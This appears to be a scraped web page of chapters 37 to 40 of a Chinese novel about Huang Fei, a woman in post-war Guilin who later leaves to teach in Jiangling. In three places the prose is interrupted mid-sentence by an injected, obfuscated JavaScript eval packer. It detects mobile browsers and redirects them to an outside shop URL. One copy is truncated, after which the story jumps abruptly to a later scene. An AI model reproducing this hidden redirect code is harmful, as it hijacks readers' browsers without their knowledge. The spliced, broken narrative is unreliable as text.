母亲这一句话,便给黄菲解了围,菊霜也是个伶俐的,当下便不肯就这个话题往下说,是的啊,李宗仁将军本来是有太太的,原配夫人姓李,郭夫人是第二位,到如今人家大夫人还在呢,得说这个“停妻再娶”的话题,在自家便是禁忌,在卢兰玉看来,那位郭德洁女士不管再怎么样妇女先锋,她抢人家老公就让人反感,原来当今搞什么女权女权,又是什么新女性,就是靠的抢老公。 这一天虽然是礼拜天,顾泰却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344768|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有在家中,黄菲与吴美霞便得以守着炭炉,尽情聊天。 吴美霞叹道:“真的是不能失去这一个职业,上个月半月的薪水,总算可以添一件棉袍,原来那一件皮袄,毛都要磨光了。” 黄菲看了看吴美霞身上那一件半旧的棉袍,脑子里浮现出在凌云时看到的那件皮袄,本来便穿了很久,在外面避难的那一个冬季,更加磨损得厉害,名副其实的“黑貂之裘弊”,虽然那件是狐狸皮的。 然后吴美霞便问道:“百货公司那边,还是没有消息?” 黄菲摇了摇头:“找了从前的老同事问过了,都说三个月两个月还不能开业呢。” 刚刚光复四个月的时间,如今的桂林,还是一片残破,许多房屋依然没有重修起来,入了夜,街面仿佛鬼市,幸存的人们都在为了吃饭而奔忙,更何况如今寒冬已到,又多了一项严寒的威胁,这一个冬季,不知有多少人会因为寒冷而病倒,在这样的情形之下,专卖舶来品的公司还怎样开业呢?况且前些天碰见了经理,听他说当初隐蔽起来的货品,给日本人也劫掠了许多,倘若勉强一定要开业,货架上空荡荡,也是难堪。 吴美霞便皱眉:“那么你今后打算怎么办呢?总不能一直在街头卖木板。” 黄菲苦笑着说:“我也知道这样并非长久之计,若是能有一个正经的职业,也很想去做的。” 如今想当“尖头曼贵妃”也不可得,卖板材不是能常年做下去的事业,所以黄菲也是急盼望能有一个正式的工作,比如像吴美霞这样,当个□□,又或者干回老本行,去做速记。 因为这个话题实在严峻,两个人说了不多几句,便转了题目,谈着桂林的新闻,专捡新鲜动人的来说,中间还开了锅盖,加了几颗梅干进去。 就这么聊啊聊啊,就到了黄昏时候,砂锅里的野鸡煨熟了,从锅盖的缝隙溢出一缕浓郁的香气,清清在地上蹦跳着说:“我要吃鸡肉!我要吃鸡肉!” 吴美霞道:“等你爸爸回来了吃,去门口看看爸爸回来了没?” 清清跑出去不多时,便快跑回来:“爸爸回家了!” 果然,下一秒顾泰从外面进来,一眼便望见了黄菲,一边脱了帽子,一边笑着说:“黄小姐来了!” 黄菲便也笑着应酬:“今天外面很冷,快来烤烤火。” 吴美霞则是笑道:“进了门守着炭炉,仿佛我们在凌云那时候一样。” 清清则是心心念念不忘吃饭:“吃鸡肉!吃鸡肉!” 顾泰坐下来伸出两手靠近风炉,转着头嗅了嗅,笑道:“好香的味道。” 吴美霞笑着说:“是妹妹带来的野鸡,已经在火上煨了一个下午,现在正好吃了。” 便张罗着给每个人盛饭,又舀鸡汤。 在火上三个小时的功夫,野鸡已经给炖得酥烂,味道极好,能让人下一大碗饭,三个人一边吃饭,一边说着话,抗战是胜利几个月了,桂林依然如此残破,要恢复到从前的繁华景象,不知要多久时间。 顾泰叹道:“且先不说恢复不恢复,一些人能够熬过这个冬天都不容易。” 眼看气氛因此而有些沉重,吴美霞连忙说道:“这野鸡肉因为加了梅干,格外的鲜嫩。” 黄菲笑道:“我觉得拿梅子代替醋是蛮好。” 吴美霞一挑拇指:“‘若作和羹,尔惟盐梅’,这个烹调方法可是很有出处的。” 黄菲咯咯地笑:“立刻就觉得烧饭做菜很了不起的样子!” 顾泰心中则是想,确实,这话可是说得有点大了,这是武丁对傅说说的,渴盼他来治理国家,类似的还有“治大国若烹小鲜”,得恰到好处,如今不过是日常烧煮饭食,哪里就扯得这样大了? 晚饭过后又谈了一会儿,黄菲便告辞离去,外面夜色实在已经深沉,不能再坐了。 等她走了,顾泰问妻子:“她今天来做什么?” 吴美霞道:“不过是闲谈几句罢了,你在想什么?” 顾泰吁了一口气:“原来如此,我是在想,她在街头卖木板,也不是长法,总该找个正经的行当,只是她这件事,我们实在难帮忙。” 根底不行,如今虽然广西还乱着,民生又是多艰,然而公教系统也难以容她,自家纵然想帮忙,也难以入手。 吴美霞默默无语。 38. 第三十八章 请喝一杯梅花茶 第三十八章 请喝一杯梅花茶 十二月三十一号,这一年的最后一天,清早天空中便堆着暗云,到了午后,果然下起雨来了,黄菲还有最后两块木板没有卖出,看着这样的雨,正在犹豫,那一把旧伞已经破了,本来想要买伞,还没有来得及买,就遇见了雨天,木板淋雨不是很好,自己是该马上回去呢,还是在雨中再等一等客人来询问? 就在这个时候,忽然头顶的雨停了,眼前却依然能看到密密的雨帘,黄菲感觉有些奇怪,抬头一看,原来头上忽然间撑了一把伞,目光沿着拿伞的那只手臂瞧过去,是一个年轻的军人,军服虽然有些破旧,然而五官俊朗,肩头佩戴上尉肩章。 “呀,是你!” 黄菲片刻便认了出来,是钟上尉,从凌云回来桂林,路上搭的车就是他负责押运的物资,当时士兵问他可不可以多载几个人,他看了看便答应了,路上虽然说话不多,但很得他的照应,只是分别后便不曾再见。 军官望着黄菲一笑,露出一口白牙:“黄小姐,我们又见面了。” 然后他看了看天:“这雨似乎还要再下一阵,你还要继续守着摊子么?” 黄菲不好意思让他一直为自己撑伞,现在的情形显然是,这位钟上尉要为自己遮蔽风雨,如果自己说要卖完木板才回去,他是不会转身离开的,若是让他继续撑伞,便有些太不知体谅,反正今天也只剩这两块木板,于是黄菲便道:“这样的天气,想来也没有人来问,我回去了。” 于是她弯下腰来,将那两块木板抱了起来。 军官一见,马上便说:“我来吧。” 伸手便来接。 黄菲摇头:“不必,我能做的。” 然后手臂腰间一用力,便将木板扛在了肩头,向前稳稳地走去。 军官见此情景,也不便再说什么,只紧随在她的身边,高高地为她撑住伞。 从街边到黄菲的住所,大约半个多钟头的路,或许军官想到,黄菲扛着木板,在这种要用力气的时候,只怕没力气说话,便没有和她聊什么,一直到了公寓的门前,两个人都没说几句话。 黄菲将木板放下来,取出钥匙开了门,转头一看那位上尉,见他大半边身体都已经给淋湿,原本已经拟定的主张便感到说不出口,这种时候要怎么说出“谢谢你一路相送,现在我到家了,请你回去吧”? 上尉是一个十分聪明的人,一看她的脸色,就知道不准备请自己进门,他倒是不以为怪,笑了一笑很轻松地说:“黄小姐,原来你是住在这里,既然已经回到家,我也就安心了,我还有一些事要办,今天先告辞了。” 然后转身便走了。 见他快步离去,身影在雨中迅速缩小,黄菲这时候倒是感觉有些过意不去,本来还在为难要怎样拒绝,然而这个人实在很是善解人意,不等自己说明,便已经领会到,提前说明离开,不让自己为难,这反而让自己感到更加亏欠。 黄菲怔怔地站在那里望了一会儿,见对方已经走得不见了影子,这才回过神来,推开门来,将木板拖进厅中,反手闩好门。 回到自己的地方,黄菲定了定神,先找出干爽的衣服换上,自己的衣衫虽然只淋湿了一小片,穿在身上毕竟湿漉漉的难受,今年冬季的桂林,倒是没有怎样下雪,然而这一阵不时地下雨,那雨水都冷得如同冰一样,仿佛冰雨,落在人的身上,好像冰做的针扎在皮肉上,非常的冷,因为冷而感觉到疼。 然后,黄菲才点起蜡烛,又在炉膛里点着了火,厅里面亮起蒙蒙的光,又因为柴炉逐渐升腾的热力,房间里便显得温暖了。 黄菲坐在饭桌边,手撑在腮上,怔怔地回想着方才的一幕,简直好像小说电影中的画面,雨天,一个清秀俊逸的男子为一个女子撑伞,护送她到想去的地方去,烟雨蒙蒙之中,两个人的身影显得非常的美,非常的有诗意,这样的相遇,果真是十分浪漫吧,资产阶级的罗曼蒂克,很有些虚幻,却也有一种微微的迷醉。 黄菲的头脑中散漫地浮想着,景斌的影子一掠而过,接着慢慢升起的是姚鹏的面容,与钟上尉的影像并列。 景斌与他们都是不一样的,不仅仅是因为,景斌是一个拿笔杆子的,而那两个都是军人,也是因为景斌与自己是倾心相恋,而自己对那两个人,都并没有太多触动。 然而此时,或许是因为无聊,也或许是出于寂寞,总之在这样一个单调的雨天,黄菲忽然间发生了旖旎的联想,姚鹏与钟上尉,有怎样的不同呢?一个是八路军,一个是国军,政治上的分歧显而易见,另外便是,姚鹏虽然五官端正,不过皮肤偏黑,而钟上尉则比较白净,眉眼比姚鹏秀气一些,姚鹏一脸正气,一看就是一个相当正直的人,而钟上尉仿佛多一点人情味,有人间的况味。 本来对于国民党军,黄菲观感不是很好,桂林没有陷落的时候,有伤兵在戏院打架,吵着要看免费的戏,道是没有他们在前方流血,桂林城里的太太老爷们哪里能够坐在这里安稳看戏? 要说这些士兵,功劳是有的,很应该酬报,不过像这样强索硬要,便有点专横,戏院里看戏的不仅仅是达官贵人,也有普通市民,辛苦了一整天,到戏院散散心,却也受到如此惊吓,实在无辜,很难设想八路军战士会这样提出自己的要求。 这只是小小一例,国民党军的其他做派,更加提不得了,本该是小说戏剧才有的情节,却搬到了人间。 不过这位上尉不是这样的气质,他显然读过书,很斯文的,说起话来很是客气礼貌,对人也很体贴周到,没有军阀队伍里常见的粗暴强横,俨然便是污浊空气中的一股清风,因此便让人回味无穷。 黄菲想着想着,便回到梅林之中取出本子,在上面沙沙沙地写了起来,还在下午的时间,就开始写日记,这在自己可是很少见的,而且还写了这么长一篇,都是钟上尉与姚鹏的对比,还有当天那一幕场景的记叙,写完之后黄菲从头读了一遍,不由得哑然失笑,自己简直好像十几岁的少女,在朦胧的春季发痴。 第二天便是一九四六年的元旦,新的一年开始了,黄菲这一天是独自过的,准备一月二号要出卖的木板,梅林中只听到一阵锯木头的声音,丝毫也不浪漫。 旧历年之前,天气都是非常冷的,黄菲本以为这一年过了除夕会好些,哪知依然相当的冷,就在初一的时候,温度又是陡降,冰雨夹着雪花从空中飘下,日色也暗淡,让人一望天空,便感觉心情压抑。 二月十二号是正月十五,虽然是元宵节,黄菲却也没有在家中安闲地过节,又是背了几块木板到街头去卖,接近午间的时候,木板已经卖完,她有意无意转头向街角一望,便看到一个熟悉的影子立在那里。 是钟上尉,自从那一回雨中送自己回家,他便时不时地来这里,到来也不说话,就只是远远地站着看,也看不多久,往往不过是十分钟八分钟,便不见了影子,也不是天天来,有时候三四天才遇见他,想来部队里事情忙,并不能像电影里的多情阔少一般,每天什么都不做,大把大把时间就花在浪漫上,普通人只是抽空才能钟情。 这一天毕竟是元宵节,黄菲感到,无论怎样也该说句话,便将扎束板材的麻绳缠绕起来,揣在口袋里,向对面走了过去,来到钟上尉的面前,笑了笑说道:“上尉,元宵快乐。” 军官也笑起来:“黄小姐,给你拜个晚年。” 除夕和初一都没有见面,之后再相见,也没有说话,这是两个人彼此间第一次贺年,算起来还是那一回雨中送行之后第一次说话。 黄菲含笑道:“过年的时候,队伍里有假放吗?回家去了么?” 上尉一笑:“回去了几天,不过部队里面事务多,日程紧,所以在家里住不过住了三天,便赶快回来了。黄小姐,你呢?” 黄菲道:“我就在这里。” “哦,是这样……” 军官本来还想要说些什么,不过忽然间眉头微微一皱,侧转了头用手掩住嘴,轻轻咳了几声。 黄菲这才注意到他的脸色有些苍白,便关切地问:“你怎么了?病了么?” 上尉连忙收住了咳嗽,笑道:“没什么,回到家里见了亲人,难免喝了一点酒,我是不习惯喝酒的,容易醉,醉后不留神便着凉了,现在已经好得差不多了。” 黄菲想了一想,终于说道:“上尉,如果有时间,请到舍下喝杯茶吧。” 半个多小时之后,军官已经坐在了黄菲公寓的客厅中,就在炉边,将木柴一块块放进去,又点着了火,用一把旧杂志当扇子扇着,让那火燃烧得更旺一些,一边点火,一边笑着说:“还是烧这样成块的木头畅快,倘若是树枝,虽然也能燃起来,总觉得火焰不很壮盛的样子。” 黄菲将水装进饭盒里,闻言噗嗤一声便笑了出来,这个人说话很有意思,自己也有同感,大块大块的木柴点起来的火,便有一种壮丽感,干树枝的篝火虽然也能够很热烈,在夜风中摇曳跳动,也是活泼的,不过比起木柴的火,终究少了那一种气魄。 听了黄菲的感言,上尉笑得眼睛弯起来,如同两只新月,两个人便聊起来: “百货公司那边有消息吗?” “没有,初三的时候,我见到以前的老同事,她说要到内地去了,在这边实在没有什么事情可做。” 就是崔珍珠,说要去云南四川碰碰运气,全家人一起走的,桂林如此残破,已经少有财务方面的职位给人做。 黄菲转而问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344769|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部队里面的供给还好么?” 上尉摇头:“社会民生米珠薪桂,队伍中又能好到哪里去呢?这一阵有了美援,好歹饭里面不必再掺沙子。” 所以黄菲的公寓角落堆的那高高一堆的木柴,都是成块的好木头,这在当今桂林也是难得的了,能找到这许多整齐的木柴,就很给人钦佩。 一提到美国援助,黄菲心里就咯噔一声,然而在这样的场景不好深想,走神是不太礼貌的,于是她便抛开这件事,继续随意地聊着:“钟上尉,你是哪里人?” “老家桂平。” “啊,我的乳母就是桂平人,从小我就听她唱昱仔,还总是说桂平的西山,很美的。” 上尉登时眼睛一亮:“我作学生的时候,每年春秋天气好的日子,学校郊游,必然去西山,每次游了西山,回来后先生便要我们写西山游记,一年至少去两回,游玩很是开心,写游记是个苦差事。” 他笑起来不像一般男人那样豪爽,哈哈哈地笑,而是咯咯地乐,有点像是女子,又俏皮又斯文。 黄菲噗嗤也笑出来:“一定是绞尽脑汁吧?” 景斌从前写稿子,就曾经说过,“简直好像要把脑浆都熬干一样”,黄菲自己学习作文的时候,自然是费力,可是景斌这样聪明有才华,也是如此,可见写作确实是很耗脑力的,也就难怪钟上尉会愁眉苦脸。 上尉笑得更加开心,眼睛都眯起来:“我把旧作改动几个字,便充作新文给先生交上去,已经过了半年,又是那么多学生,先生哪里记得呢?少不得便给我混了过去。” 见他如此狡猾,黄菲不由得更加要发笑:“啊哟,这样都可以?” 上尉笑得有点腼腆:“那个时候年纪小,不懂事,便这样糊弄先生,后来给我母亲发现,很是不高兴,告诫我不可以这样投机取巧。” 黄菲赞叹道:“伯母真是一个明礼义的人。” 上尉点头说:“是的,母亲出身书香门第,我父亲早亡,姐弟几个都是母亲教养成人,母亲一直勉励我们,要清白为人,后来抗战了,我投考军校,她也十分支持,要我忠诚服役。” 这个时候,饭盒里的水烧开了,黄菲取出两只茶杯,冲了两杯茶水,其中一杯递给对方。 这个青年人接过来,看着热水之中漂浮着的粉色白色的花瓣,笑道:“是梅花茶。” 黄菲一笑,说:“我这里只有这种茶,喝起来味道也还不坏。” 梅林之间自然多的是梅花,黄菲是不肯在外面买茶叶的,每年的春季,她采摘了鲜嫩的梅花,晒干之后储存起来,用作一年的茶饮,有一股幽香,也清新淡雅。 上尉含笑道:“我也喜欢梅花作茶。” 茶水晾得稍凉了一些,他喝了两口,转头望着四周,忽然间发现了一个问题:“黄小姐,你家中只有这一个饭盒烧水煮饭么?” 黄菲很是淡然:“是啊,我觉得蛮好用,家中物件少一些,整理起来也方便,免得东一口锅,西一只壶。” 上尉微微皱眉:“虽然黄小姐是个淡泊的人,不过只是这样,会不会有一点太简单了呢?烧水的壶总该有一只,而且这样的饭盒虽然煮粥煮汤便利,不过要煎炒便为难,总是吃粥面,难免有些单调。” 每天卖木板,莫非还是没有钱买锅?光复之后的桂林,虽然物资艰难,不过铁锅水壶还是可以找得到的,如果实在是没有,自己可以在部队里为她找来,美国军用小铁锅,煎蛋炒青菜都很好,只是黄小姐品性清高,怕她不肯接受。 黄菲一笑:“其实也还好,已经习惯了。” 在公司里当店员之后,经济境况改善,并不缺买锅的钱,倘若真要买,十口锅也添置得起,放在梅林之中,逃难时也不怕丢失,黄菲只是觉得,没有必要,黄土高原那一段路上,与这只饭盒相依相伴,而且延安的生活本身便是极其朴素的,那个时候拿着这种饭盒,也不过是煮小米粥白菜汤来吃,哪像现在这样,居然可以煮蛋花汤,夏季里差不多天天可以吃荷包蛋,在延安的时候,哪里能够想到居然会有这样的伙食?延安的三年,为她打下了深深的烙印。 到这时,黄菲蓦然想到一件事:“啊,钟上尉,真是不好意思,我不太记得你的名字了。” 搭车的时候,询问过对方的称呼,不过到现在只记得姓,名字已经模糊了,毕竟那个时候以为,今后不会再见了,不是会长久保持联系的人。 上尉一笑,露出两排整齐洁白的牙齿:“我叫做钟坤,就是乾坤的坤。不过黄小姐,我记得你的名字。” 这就好像自己读过的一篇外国小说,人人都看到太阳,但太阳不必看见每一个人,不过钟坤并没有什么不满。 黄菲的脸则是红了。 39.第三十九章 留人不住 第三十九章 留人不住 到了三月,天气不再那样严峻,已经在缓慢地变暖,这一天孙定康路过桂花街,不由自主地驻足观望,那一间窄窄的小楼,看不到三分钟,后面有人拍了拍他的肩膀。 做这种职业的人,都是极其机警的,随时保持警惕,孙定康自然也是如此,登时便是一个激灵,头脑中掠过的第一个念头,便是暴露了,给人发现了,这对于密探来讲,是有可能致命的,他连忙转过头来看,一个身穿国军服装的人站在自己旁边,正似笑非笑望着自己。 孙定康登时“吁”了一声,松了一口气,原来是自己人,还以为是共产党,虽说中共的谍报人员也有混在国军里面的,不过毕竟不是随便就能遇上。 孙定康冲着对方笑了笑:“兄弟,什么事?” 钟坤笑道:“老兄,桂林都已经残破成这样了,您这还没收工呢?有这精神,干点正经事不好么?” 孙定康一听,便晓得他知道自己是做什么的,于是便也不隐瞒,笑着说:“兄弟你放心,我如今也没这闲工夫,在这里望望只是习惯,你也知道,习惯成自然,积习难返。其实我早就以为,这样干没必要,谁年轻的时候还不走点弯路呢?我已经看出来了,那是个不错的人,不管是妇女会还是学生团,到她这里来劝捐,定然不会空手而回,总得拿个十块八块的,虽然赚得不算少,可是每回都这么捐,也让人替她肉疼,自己还能剩几个钱?总得过生活啊,真不愧是从那么红色的地方过来的,简直好像苦修的一样,一点点钱就能过日子了。” 钟坤一时间哑然,这位暗探虽然话不很多,倒是把黄菲的形象描画得活灵活现,确实好像清教徒,非常勤奋刻苦,钟坤隐隐地便有一种直觉,她是会把普通的生活乐趣也当做奢靡的,倘若有一点点享受,之后便会感觉惭愧,觉得有罪,不过黄菲是喝梅花茶的,或者表明她并没有完全摒弃人生的情趣。 孙定康说了这几句话之后,见钟坤一时间没有反应,便乐得轻松,转身抬腿便走了。 钟坤见他离开了,自己平复了一下心情,便往教育局走去,在那里,他见到了科长林枫。 一看到他来了,林枫便笑着请坐倒水:“老同学,什么风把你给吹来了?我们可是很久没有见面了。” 钟坤坐下来笑道:“我也是想着好久未见,特意来看看你。” 两个人闲谈几句,钟坤毕竟是军人作风,不耐烦拐太多的弯,便直截了当地说明来意:“老同学,你这里还有职位么?那些中学校小学校,有没有职务出缺?我这里有个人介绍。” 林枫乐呵呵的用一根食指朝钟坤指点着:“我就知道,无事不登三宝殿,难得你也会为人说项,从前大家都说你是冰玉一样的人,一尘不染的,原来也有这样的人情。你难得来请托一次,我自然尽力而为,等我看一看……啊,这一所小学校正需要一个国文□□,你的那人能教么?如果可以,我便把名字补上。” 钟坤登时满面欢喜:“多谢你,她叫做‘黄菲’,读过许多书的,在小学校教国文一定没有问题。” 林枫笑道:“是什么学校毕业?把证书拿来看一下,便来教书吧,其实有你保荐,学问定然是好的,只不过程序如此,这个过场必然要走的……啊,你等一等,你说的这个人叫什么?黄菲?与那位‘尖头曼贵妃’有什么瓜葛么?” 钟坤脸色瞬间便有些艰难:“便是她,黄小姐虽然只是拿到初级中学的毕业证,然而她曾经在女子学堂深造,教小学生的国文足可胜任。” 林枫的身体往椅背上依靠,头微微向后仰,笑着说:“我晓得了,英雄难过美人关啊,有谁不知道她呢?以她的学养,教小学国文自然是可以的,然而现在问题不在于她的学问,而在于政治背景,她是从延安回来的,你知道吧?政府的学校怎么能容留这样一个人,来给学生们讲课?尤其是小学生,思想很幼稚的,正需要人好好引导,她如果天天讲马克思,讲共产主义,那怎么受得了?岂不是一个个都给赤化成了小共产党?所以这个人情,我真是不能帮。” 黄菲,自己知道啊,可真是深造过的,只不过读的是延安的大学,真要论起学问来,那肯定是相当的不错,只是她的那个毕业证书,在这边可怎么拿给人看? 钟坤蹙眉道:“黄小姐不是那样的人,工作和个人想法很能分得清,更何况她已经离开了延安,难道一个人不能够有重新选择的机会吗?” 以往两个人闲谈,钟坤发现,黄菲对于政治,似乎已经淡然了,很少谈及国事,多是说一些日常话题,况且毕竟是她自己选择离开延安,对于共产思想,想来已经不再那样热衷,又怎么会给小孩子去讲?那么小的孩子,又怎么能听得懂呢? 林枫连连摇头:“她是可以重新选择,只不过不能当□□,老同学,你就死了这条心吧,公教系统她是进不去的,最起码在桂林是这样,就算我这里肯通融,到了那边也要给拦回来。我给你出个主意,让她远走高飞,到别的地方去,再换个名字,她毕竟不是特别出名的人,还没有名闻全国,到了外省,又是改名换姓,哪里那么容易追究根底?保不准就混了进去。我是和你要好,才同你说这些,你可不要怪我不讲人情。” 钟坤默默无言,也知道他说的是实情,以黄菲的身份,还不至于出动中统军统,她换个名字,混入人海,真的未必找得着,所以林枫所言倒是个办法。 话说到这里,再坐下去也是索然乏味,钟坤于是勉强又聊了几句,便站起身来告辞走了。 送走了钟坤,林枫坐回椅子上,口中啧啧连声,自己的这个老同学啊,向来是清高出尘,有点可望不可即的味道,其实他倒也不是刻意高傲,只是人实在长得秀美,又很聪明,风度翩翩,要想找一个能与他匹配的人,自然不很容易,没想到竟然栽在了尖头曼贵妃的手里,他这也算是情路坎坷,如果只是相恋倒是还罢了,倘若真的结了婚,有这么一个太太,只怕升迁之路不顺,很给人怀疑他的忠心。 钟坤回到宿舍,闷坐了一阵,便有人通知他,上司找他有事,钟坤去见了上司,又看过了训练,晚饭之后终于有了空闲,坐在灯下,拿起笔来开始给母亲写信。 写了几段文字,钟坤停住了笔,望着灯光,思绪飘散开来,黄菲的名字,从前驻防桂林也略有耳闻,本以为是一个寻常的交际明星,哪知相识之后才发现,竟然是一个如此朴素的人,家中烧饭烧水只有一个容器,就是日本的军用饭盒。 与日军作战四年时间,日本人的饭盒自己当然认识,由这个军用饭盒,便想到了她的来历,是从延安回来的,黄菲自己对此也没有隐瞒,在车上的时候就和刘玉狗谈到延安,玉狗之后都和自己说了:“长官,长官!你知道吗?就是坐我们车的那位小姐,那个黄小姐,她是去过延安的啊,在那里待了几年呢!” 说这话的时候,玉狗一脸兴奋,太稀奇了,这么漂亮的小姐,曾经去了延安,而自己则是想到,从旧家庭而延安,又从延安而桂林,黄菲的人生转折不可谓不大,难为她年纪轻轻,竟然遭遇了这样多的事情,假如母亲得知了这些过往,也会为她而唏嘘吧? 到了五月里,刚刚过了小满,这一天钟坤手里拿着一封信,兴冲冲来找黄菲:“黄小姐,有一个好消息!” 黄菲正在街头售卖青菜,春天了,开始种青菜,此时听他这样说,便问道:“是什么事?” 钟坤笑道:“母亲来信,说江陵一个小学校需要一位先生,讲授国文,她推荐了你,那边也已经答应要你去试一试,我想你一定可以的。” 黄菲一听,也是大喜过望:“那可太好了,我一定竭尽全力,多谢伯母,也谢谢你。” 钟坤问:“你什么时候动身?” 黄菲毫不犹豫:“越快越好,如果可以,我想今天就走。” 钟坤笑着说:“那也太快了一点,或者明天吧,我也来得及为你送行。” 黄菲一想,当天离开确实太草率,总有些事情要安排一下,比如要告知一下家中,就托东妹姐给母亲带个信,另外美霞姐那边也要知会一声,还应该答谢钟坤。 于是黄菲当即便收了摊子,与钟坤约好当晚请他到家里吃饭,那半篮青菜也送了钟坤,给部队添一点菜汤,便匆匆赶去了车站,先买票,好在第二天便有去荆州的车票。 买票的人很多,简直是人头攒动,即使是这样混乱困窘的时局,也有许多人出门,有时候便要纳闷,为什么大家都是要四处走? 黄菲好不容易才挨到窗口,递了钱进去,拿了票出来,手里攥着这宝贵的车票,快步又往东妹那边走,见了东妹,找了纸笔给母亲和哥哥写了一封信,又说了一阵话,便赶快转去见吴美霞,到这些事都办完了,再一看怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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钟坤的手重又动了起来,继续扇着炉火,口中说道:“虽然也不愿意那样去想,不过我总是以为,政府与中共的战争可能难以避免。就在去年,上党和邯郸发生了战斗,现在东北的四平两边对峙,眼看又要有摩擦,虽然签订了协定,说是要和平,但看起来很是危险。我不想评论谁是谁非,只是照这样下去,只怕又是一场大战,这一次要打多久也不一定,抗战这么多年,已经要把中国打烂了,倘若再有几年的战争,大家的日子不知道要怎样过。” 这一回是黄菲开始发愣,直到钟坤提醒她:“肉要焦了!” 她这才回过神来,赶快把烤着的肉串又翻了个面。 这一天晚上,两个人谈了很久,直到夜色已深才离开,说好第二天早上不必送车了。 到了次日四月二十五号的清早,黄菲背了一个背包,手上还提了一只提包,来到车站,那里已经有许多要出行的人,送行的人比上车的人更多,东妹已经到来,两个人拉着手,说了好一会儿的话,彼此叮咛要照顾好自己,这时候吴美霞也带了清清过来,黄菲蹲下来招呼清清,清清一下子就扑到她的怀里:“表姨,不要走!” 吴美霞两眼含泪:“妹妹,你这一次去那么远的地方,人地生疏,一定要小心照料自己啊!” 吴美霞是真的感到难过,可惜留人不住,悲乘火车去,桂林纵然已经如此残破,却依然容不得她,只得孤身漂泊去千里之外,这样艰难的时势,一个女子远去异乡谋生,该是何等的艰难,回想当初在凌云,自己与黄菲同住一室,朝夕相处,多么亲密,然而如今,黄菲却要走了,自己也帮不得她。 黄菲又与吴美霞话别,还为她与东妹介绍,于是两边也认识了,手拉着手说话。 这个时候,火车到了,人们上了车,黄菲要吴美霞与东妹不必送到车上,毕竟人太多,又都是大包小包带着东西,挤得难受,她们见确实人挤着人,又见黄菲携带的物品比较少,便没有执意送上车。 不多时,黄菲已经坐在车厢里,望着窗外挥手,车外吴美霞与东妹也是奋力挥舞着手帕道别,又过了一会儿,火车徐徐开动,黄菲的手挥动得更加用力,泪水重又溢了出来,就在这时,她举头向远处一望,看到一道身影,正是钟坤,原来他也来了,一直静静地站在那边。 钟坤也举起手来,慢慢地向这边挥手,在中国,男女交际非常敏感,这样场合自己不好公开露面,不过虽然是只能这样悄悄地来送别,但在自己而言,却也并没有太多遗憾,方才已看到那一个草绿色的袋子,正挂在黄菲背包的后面。 钟坤眼中有一点酸涩,内战一触即发,国家风雨飘摇,黄菲在这种时候离去,两个人不知什么时候才能再见,而假如有幸能够再次见面,又不知是什么样的情形,或许已经是沧海桑田,两人都已经不再是从前的样子。 40.第四十章 梅思 第四十章 梅思 黄菲虽然搭的是快车,然而这一路着实磨折,本来不过十几个小时的车程,中间因为不断走走停停,竟然硬生生走了两天两夜,她是在二十五号离开桂林,到江陵已经是二十七号,而且还是午夜时分,原本是快车,硬生生给耽搁成了慢车,还是慢得出奇的那一种。 下车之后已经是深夜,对本地又并不了解,黄菲只得坐在列车候车室的椅子上,熬了四个多小时,到外面天色蒙蒙亮,她已经急不可耐,赶快起身到外面去找黄包车,要车夫将自己送到县立小学校。 到了那里,不过五点多钟,学校还没有开门,黄菲便提了背包,又站在校门前等,好容易渐渐地有人来了,她看到一个左边嘴角有一颗痣的女子,仿佛很是面善,便上前笑着问:“请问,庄校长在么?” 那个女子看了看黄菲,含笑客气地说:“啊,你找校长吗?不知她有没有来,我带你到她的办公室等一等吧。” 黄菲连忙道谢:“多谢你。” 对方一路引着她便往校园里面走去,路上,两个人说着话: “您贵姓?” “我姓梅。” “原来是梅小姐。” “不知道怎样称呼您?” “不必这样客气,您来您去的,我姓刘,你叫我刘先生就好。你找校长,是什么事情呢?” “听说这里需要一个□□,我来试一试。” 刘先生登时朝她猛瞧了几眼,很有一点刮目相看:“原来是应聘□□,我就说看你文质彬彬,果然是读过书的。” 黄菲口中客气着,学校不大,不多时便来到了校长办公室的门前,暂时还没有开门,刘先生便让黄菲在这里等,她班里有学生,不能在这里久陪,临去的时候对黄菲笑着说:“今后我们想来便是同僚。” 黄菲笑道:“很希望能够这样。” 在那里站不过十分钟时间,便有一个人朝这边走来,黄菲留神看着,果然是往校长室而来,便提起了精神,凝神准备,过不多时,那人便走近了,是一个五十出头的女子,穿着素雅的旗袍,一头短发整齐地梳向后面,手里提了一个小皮包。 对方也看到了她,脚步微微顿了顿,依然向这边而来,到了门前,不等她说话,黄菲赶忙开口:“请问是庄校长吗?” 那个中年妇人点了点头,道:“你是从桂林来的?” “是的。” “好的,跟我进来吧。” 她开了门,先走了进去,黄菲跟在后面,是一间小小的办公室,里面陈设十分简单,不过一张旧书桌,几把木椅,桌面上放了一些文书,唯独靠墙的书柜很大,里面装满了书,显得颇有气派,与寒酸的室内是两样的。 庄校长坐在办公桌后面的椅子上,示意黄菲也坐下,然后问道:“是不是有一封信的?” 黄菲赶快取出那封贴身携带的推荐信,双手递给校长。 